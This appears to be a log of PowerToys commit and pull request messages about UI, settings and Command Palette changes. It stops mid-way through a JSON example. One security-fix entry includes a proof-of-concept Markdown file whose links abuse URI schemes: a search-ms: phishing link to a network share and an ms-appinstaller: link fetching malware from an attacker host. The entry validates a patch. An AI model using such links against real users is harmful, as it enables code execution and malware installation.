repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 06:52:55 -06:00
moooyo
9b7ae9a96a Temporarily disable PowerDisplay module across PowerToys (#45802)
Icon and New name still pending for final decision.

We cannot ship in this release, still need enough time to consider new
name and icon.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
2026-02-26 12:40:18 +00:00
Jiří Polášek
169bfe3f04 CmdPal: Lightning-fast mode (#45764)
## Summary of the Pull Request

This PR unlocks lightning-fast mode for Command Palette:

- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.

- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
    - Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
  - Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right

## Pictures? Moving!



https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44407
- [x] Closes: #45691
2026-02-26 06:17:34 -06:00
leileizhang
1b4641a158 Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
2026-02-26 17:46:48 +08:00
Jaylyn Barbee
a94d010a8d [Light Switch] Fixed issue where Light switch could be toggled from the dashboard while GPO settings are active (#45756)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.

This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.

This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567

## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>

We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
2026-02-25 16:44:15 +01:00
Kai Tao
c013122520 Settings: Fix settings process shutdown when closing secondary windows (#45787)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45549 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

When no window alive, the settings exe should also be gone
2026-02-25 21:50:42 +08:00
leileizhang
5d11e8e805 [SFI] Fix libFuzzer failing to resolve target class name in Hosts module fuzz tests (#45784)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In PR
https://github.com/microsoft/PowerToys/pull/40754/changes#diff-458c2dd654182dce7f6ad70fadd40d048a99f9be2cd9506747dde5964e6f396a
the config class name was changed incorrectly, which caused libFuzzer to
fail to resolve the target type HostsEditor.FuzzTests.FuzzTests and
resulted in test failures.

<img width="2074" height="311" alt="image"
src="https://github.com/user-attachments/assets/8a8d4ce8-71e7-45d6-ae7e-da43da6c63ca"
/>


This change updates the class name to the correct value to fix the
issue.

<img width="2098" height="647" alt="image"
src="https://github.com/user-attachments/assets/2715dade-63e1-4cdb-856a-8f199ffcd38a"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-25 13:54:46 +08:00
Jiří Polášek
83f26d4684 CmdPal: Configure .editorconfig to format MSBuild files (#45739)
## Summary of the Pull Request

This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.

No functional changes.
2026-02-24 14:50:17 -06:00
Jiří Polášek
07b8915e19 CmdPal: Remove dead code from Window Walker and cleanup (#45570)
## Summary of the Pull Request

This PR is a light cleanup on Window Walker built-in extension:

- Removes unused types
- Removes redundant code
- Fixes inconsistent naming conventions
- De-LINQ-ify
- Fixes XML doc
- Updates language constructs to the latest (use of
System.Threading.Lock, Collection expressions)
- Updates types and members visibility and makes static classes static

⚠️ Trickiest part are 44ac1c1 and 26c946c that removes redundant null
checks.
2026-02-24 06:29:58 -06:00
Mike Griese
4f5837d4e9 CmdPal: Use a factory for building the context menu VMs (#45572)
_targets #45566_

doesn't actually do anything, just moves around the instantiation of
command context item VMs.

This will let use add pin/unpin commands later

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201
2026-02-24 06:26:33 -06:00
Niels Laute
e8ccb7099e Upgrading to WASDK 1.8.5 and removing TitleBar workarounds (#45532)
- Upgrade to WASDK 1.8.5 that includes a fix for the `TitleBar` control.
- Remove the workaround from windows that use this control, as we can
set the `TitleBar` directly now
2026-02-24 06:01:44 -06:00
Gordon Lam
6fe4361a20 feat(settings-ui): crash fix - add back the missing default language option to resources (#45766)
Add back the default language option to the resources for better
localization support. This change is fixing a regression:
 Two bugs here:
1. The original commit by Stefan had a case mismatch (Default_language
vs Default_Language) — latent bug
2. Niels's PR used Copilot CLI to find dead strings, which incorrectly
removed a live resource due to the case
  mismatch

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-24 18:12:32 +08:00
Gordon Lam
91634922fc fix(settings-ui): Get rid of build warning - change binding mode to OneTime for update controls (#45765)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Change the binding mode to `OneTime` for various update controls in the
settings UI to improve performance and reduce unnecessary updates.

Without the change, beside the functionality/performance issue, there
are list of build warning like:

src\settings-ui\Settings.UI\SettingsXAML\Controls\Dashboard\CheckUpdateControl.xaml(15,13):
XamlCompiler warning **WMC1506**: OneWay bindings require at least one
of their steps to support raising notifications when their value changes

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updated the binding mode for controls in `CheckUpdateControl.xaml` and
`ShortcutConflictWindow.xaml` to `OneTime` to enhance efficiency.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested the settings UI to ensure that the controls behave as
expected without unnecessary updates.
```
2026-02-24 07:16:03 +01:00
Dave Rayment
8d0f8e5b49 [ZoomIt] Add datetime suffix to screenshots (#43172)
This pull request introduces an improvement to how screenshot filenames
are generated in `ZoomIt`. The main change is to ensure that each
screenshot is saved with a unique, timestamped filename, which helps
prevent accidental overwrites and keeps files sorted chronologically.

**Enhancement to screenshot filename generation:**

* Added a new implementation for `GetUniqueScreenshotFilename()` in
`Zoomit.cpp` to generate screenshot filenames using the current date and
time, following the format `"ZoomIt YYYY-MM-DD HHMMSS.png"`. This
reduces the risk of overwriting existing files and improves file
organization.<!-- Enter a brief description/summary of your PR here.
What does it fix/what does it change/how was it tested (even manually,
if necessary)? -->
## Summary of the Pull Request
This PR:

Includes an update to create unique screenshot filenames, saving the
user from having to manually type a new filename each time they save a
new screenshot in the same location.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43158
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

## Unique filename issue

The PR fixes the user's complaint about the screenshots always being
called "zoomit" by adding a `GetUniqueScreenshotFilename()` method which
creates a unique filename based on the current date and time, e.g.
`ZoomIt 2025-11-01 004723.png`. This is consistent with other tools like
the Windows Snipping Tool and provides files which sort correctly when
ordered by name, which is not the case for files with simple numeric
suffixes.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Tested on a local build.
2026-02-24 12:53:22 +08:00
Jiří Polášek
15cad8ca18 CmdPal: Single-row list items (#45763)
## Summary of the Pull Request

This PR changes default style of list items to a single-row. As a flyby
it also ensures that all item containers have a constant height.

<img width="848" height="509" alt="image"
src="https://github.com/user-attachments/assets/832db0dd-d270-4745-b83a-c8ad2ec12c02"
/>

<img width="828" height="515" alt="image"
src="https://github.com/user-attachments/assets/6596a6ae-9056-4177-bafa-47df7d39ad3e"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #44407
- [x] Closes: #45091
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-23 20:46:09 -06:00
Niels Laute
65254cec76 Adding CmdPal Extensions doc links (#45632)
See title
2026-02-23 06:24:00 -06:00
Michael Jolley
138c66c328 CmdPal: Removing Core projects (#45693)
Functionally, no differences.

- Removed Core projects.
- Core.Common => Microsoft.CmdPal.Common
- Core.ViewModels => Microsoft.CmdPal.UI.ViewModels

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-23 06:05:09 -06:00
Michael Jolley
196b9305c3 CmdPal: Add 'Keep previous query' setting to Command Palette (#45742)
## Summary

Closes #39929

Adds a new "Keep previous query" toggle to Command Palette settings that
preserves the last search text when the palette is reopened after
running a command.

## Changes

- **`SettingsModel.cs`** — Added `KeepPreviousQuery` bool property
(defaults to `false`)
- **`SettingsViewModel.cs`** — Added property with auto-save on change
- **`GeneralPage.xaml`** — Added toggle switch in the Activation
section, below "Highlight search on activate"
- **`Resources.resw`** — Added localized header ("Keep previous query")
and description ("Preserves the last search text when Command Palette is
reopened")
- **`SearchBar.xaml.cs`** — `Receive(GoHomeMessage)` now checks the
setting and skips `ClearSearch()` when enabled

## Behavior

- **Off (default):** No change from current behavior — search text is
cleared on dismiss.
- **On:** When a command is run and the palette dismisses, the search
text is preserved. On reopen, the previous query is still in the search
box. Combined with the existing "Highlight search on activate" setting,
the text will be pre-selected so the user can immediately retype or
press Enter to re-run.

## Validation

- Setting off: search clears on dismiss (existing behavior unchanged)
- Setting on: search text persists across dismiss/reopen
- Setting serializes/deserializes correctly via existing JSON settings
infrastructure
- No impact on page navigation, escape key behavior, or auto-go-home
timer

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:31:50 -06:00
Michael Jolley
009ee75de0 CmdPal: Fix RDP extension rejecting host:port connections (#45740)
## Summary

Fixes #45100

Uri.CheckHostName does not accept host:port strings (e.g.
localhost:3389), returning UriHostNameType.Unknown. This causes the RDP
extension to show an invalid hostname error when connecting to a local
forwarded port.

## Changes

- OpenRemoteDesktopCommand.cs - Strip port suffix before
Uri.CheckHostName validation. The full host:port is still passed to
mstsc /v:.
- FallbackRemoteDesktopItem.cs - Same port-aware validation so the
fallback correctly recognizes host:port queries and displays them in the
title.
- FallbackRemoteDesktopItemTests.cs - Added tests for localhost:3389 and
192.168.1.100:3390 inputs.

## Validation

Port detection uses LastIndexOf(':') + ushort.TryParse to safely
identify a trailing port number without affecting IPv6 addresses or
plain hostnames.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:14:19 -06:00
Jiří Polášek
368490ef79 CmdPal: Include Microsoft.CmdPal.Ext.PerformanceMonitor in SLNF (#45738)
## Summary of the Pull Request

This PR updates Command Palette's solution filter to include recently
added Microsoft.CmdPal.Ext.PerformanceMonitor project.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-22 19:13:20 -06:00
Michael Jolley
fafb582ae2 Fix CmdPal apps extension ignoring the fallback results limit setting (#45716)
## Summary

MainListPage hardcoded _appResultLimit = 10 instead of reading from
AllAppsCommandProvider.TopLevelResultLimit, which correctly parses the
user's SearchResultLimit setting. This meant changing the results limit
in settings had no effect on the apps extension fallback results.

##  Changes

- `MainListPage.cs` — Replaced the hardcoded _appResultLimit = 10 field
with a computed property AppResultLimit that delegates to
AllAppsCommandProvider.TopLevelResultLimit.
- `MainListPageResultFactoryTests.cs` — Added three regression tests:
- `Merge_AppLimitOfOne_ReturnsOnlyTopApp` — verifies limit of 1 returns
only the top app
- `Merge_AppLimitOfZero_ReturnsNoApps` — verifies limit of 0 returns no
apps
- `Merge_AppLimitOfOne_WithOtherResults_AppsAreLimited` — verifies apps
are limited even when mixed with other result types

## Validation

- [X]  Existing tests pass
- [X] New regression tests cover edge cases for the appResultLimit
parameter

## Linked Issues

- Fixes #45654

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-21 20:47:27 -06:00
Copilot
ed76886d98 Settings: Fix SCOOBE showing unknown symbol instead of bullet (#45696)
The bullet separator between the release date and "View on GitHub" in
the SCOOBE release notes page was rendering as an unknown symbol (◆?)
instead of `•`. The character stored in the source file was `\x95`
(Windows-1252 bullet), which is invalid in UTF-8 and maps to U+0095 (a
control character).

## Changes

- `ScoobeReleaseNotesPage.xaml.cs`: Replace `\x95` (Windows-1252) with
`•` (U+2022, UTF-8: `\xE2\x80\xA2`)

```diff
- $"{release.PublishedDate.ToString(...)} \x95 [View on GitHub]({releaseUrl})"
+ $"{release.PublishedDate.ToString(...)} • [View on GitHub]({releaseUrl})"
```

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Single-byte fix: the bullet character in
`ScoobeReleaseNotesPage.xaml.cs` was a Windows-1252 `\x95` byte embedded
in a UTF-8 source file. UTF-8 treats `0x95` as U+0095 (MESSAGE WAITING,
a C1 control), which has no glyph and renders as the replacement/unknown
symbol. Replaced with the correct Unicode bullet `•` (U+2022).

## Validation Steps Performed

- Confirmed `\x95` byte present in original file via hex inspection
- Verified replacement byte sequence is `\xE2\x80\xA2` (valid UTF-8 for
U+2022)
- No other occurrences of `\x95` in the file

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>Settings: SCOOBE shows an unknown symbol instead of a
bullet</issue_title>
> <issue_description>### Microsoft PowerToys version
> 
> main
> 
> ### Installation method
> 
> Dev build in Visual Studio
> 
> ### Area(s) with issue?
> 
> Settings
> 
> ### Steps to reproduce
> 
> Main (0.98):
> 
> <img width="513" height="299" alt="Image"
src="https://github.com/user-attachments/assets/fe8eeb94-82cf-40d5-933f-4556616692a3"
/>
> 
> 0.97:
> 
> <img width="231" height="100" alt="Image"
src="https://github.com/user-attachments/assets/96b29ea7-87d8-4044-81a5-19e500224098"
/>
> 
> ### ✔️ Expected Behavior
> 
> _No response_
> 
> ###  Actual Behavior
> 
> _No response_
> 
> ### Additional Information
> 
> _No response_
> 
> ### Other Software
> 
> _No response_</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#45695

<!-- START COPILOT CODING AGENT TIPS -->
---

 Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
your repo.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-02-20 22:24:15 +00:00
Niels Laute
b64afea9f7 Fix for AP settings page crashing (#45699)
Don't put anything other than `SettingsCard` in a `SettingsExpander`..
because it will blow up
2026-02-20 17:53:49 +01:00
Dave Rayment
5e30caa674 [WindowWalker] Fix race condition in UWP app enumeration (#45601)
## Summary of the Pull Request
This fixes a race condition in the WindowWalker component in both
**Command Palette** and **Run**. The lack of a lock around a cache
update could potentially lead to inaccurate information about UWP
applications being returned.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45600
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
More details about the root cause can be found in the original issue:
#45600.

In summary, a `Task` is created and started as part of the
`CreateWindowProcessInstance()` code. The creation is inside a lock, but
there is no lock around access to the `_handlesToProcessCache` cache
within the Task itself, which will run on a different thread.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

- Ensured unit tests still pass (NB: I cannot currently run CmdPal UI
tests for some reason)
- Manually ran the applications, testing the Window Walker component in
both
2026-02-20 09:49:42 -06:00
Mike Griese
0f87b61dad CmdPal: Load pinned command items from anywhere (#45566)
This doesn't actually have a UX to expose this yet - we need to stack a
couple of PRs up to get to that.

But this adds plumbing such that we can now stash away a command ID, and
retrieve it later as a top-level command. Kinda like pinning for apps,
but for _anything_.

It works off of a new command provider interface `ICommandProvider4`,
which lets us look up Command**Item**s by ID. If we see a command ID
stored in that command provider's settings, we will try to look it up,
and then load it from the command provider.

e.g.

```json
    "com.microsoft.cmdpal.builtin.system": {
      "IsEnabled": true,
      "FallbackCommands": {
